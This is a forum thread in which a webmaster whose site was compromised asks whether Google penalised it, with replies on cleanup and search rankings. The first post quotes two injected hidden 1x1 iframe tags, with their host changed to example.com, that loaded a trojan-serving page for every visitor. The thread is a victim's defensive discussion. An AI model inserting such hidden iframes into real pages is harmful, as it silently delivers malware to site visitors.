Does Google penalize you if your site is infected with a trojan?

Trojan Wars - A tale of woe!

[JudgeJeffries]

A program was inserted into my site, due to a host vilnerabilty, which downloaded a trojan to anyone who came to the site. I reallised and found two new files, one of which was named indexe.html and another that I cannot recall. I deleted them and thought that was the end of it. Google then PR0'd me for 3 weeks and then gave me the original PR5 back for a few weeks. Last week I was totally banned, no where to be found and the site is clean or so I think. Today I started to re-organise to make it totally squeaky clean and to check everything.
Down at the bottom of every page, just before </html> if found the following code. I'm no expertt and just wondered what the effect of this code is and could it have got me barred.

<iframe src= http://example.com/counter.gif frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>
<iframe src= http://example.com/indexe.htm frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>

[edited by: tedster at 11:23 pm (utc) on Jan. 2, 2005]
[edit reason] use example.com and de-link [/edit]

[tedster]

That iframe code was inserting two pages from the malicious website, which could then work many kinds of mischief from their own pages, hidden inside those tiny inline frames. I assume that you let your hosting firm know about this inserted mark-up, because the URLs might be useful to them in tracking down the culprit.

(The discussion of Google policies is not within the scope of
the HTML and Browsers forum, so I'm moving it to Google News.)

[tedster]

I've done a bit of searching and research, and can I find nothing definitive or even suggestive about Google detecting and/or penalizing a page with a trojan. However, it certainly could be the case - some kind of preventative measure (not a permanent penalty) or something.

I'm sure Google would not want their search results to be responsible for spreading a trojan if they could prevent it - Google itself has recently been the target of several worm-generated denial of service attempts. So this is not an impossibility at all.

If the two iframes were the only damage done on your site, then Googlebot would not be getting the code for the worm from its request for your page from your server. It would only see the worm (if at all) when it followed the url in the src attribute.

Still, Google could make that connection if it detected the worm, had the record of the source url on your site. So they might close off your site as a kind of protection.

That's just conjecture, you understand. All kinds of glitches on Google's back end can knock your pages out of the Google SERPs for a period, only to have them reappear a few days or weeks later. You may never fully know what happened, and it doesn't have to be because of anything on your site.

I'd say the best thing to do is what you are doing: clean up the ship and then perhaps get a few new inbound links, just so there's a fresh trail for Googlebot.

Look at your old server logs for traffic-producing keywords and check those searches - and don't sweat shifts in the Toolbar PR too much. And of course, watch the new logs for signs of Googlebot continuing to visit. That would be a hopeful sign, especially as you clean up the site and get rid of any damage left behind by the trojan.

[kaled]

The links (by iframe) to a recognised bad domain might well be a problem. It's a judgement call, but you could either wait with fingers crossed hoping that Google will drop the penalty (if one exists) or you could email them.

Kaled.

[piskie]

If it was me, I would:

1) Move Host to get new IP and better security.
2) Clean it up thoroughly.
3) Email Google with full details including action you have taken.
4) Wait with fingers crossed.

[JudgeJeffries]

piskie, thats exacty what I intend to do but I just wondered if anyone had any similar anecdotal evidence. Surely this thing didnt only happen to me this year?

[walkman]

how would Google know if it was a trojan or something you did? Plenty of people still use hidden text.

[JudgeJeffries]

Sorry walkman but I'm not very technical, do trojans and hidden text have something in common?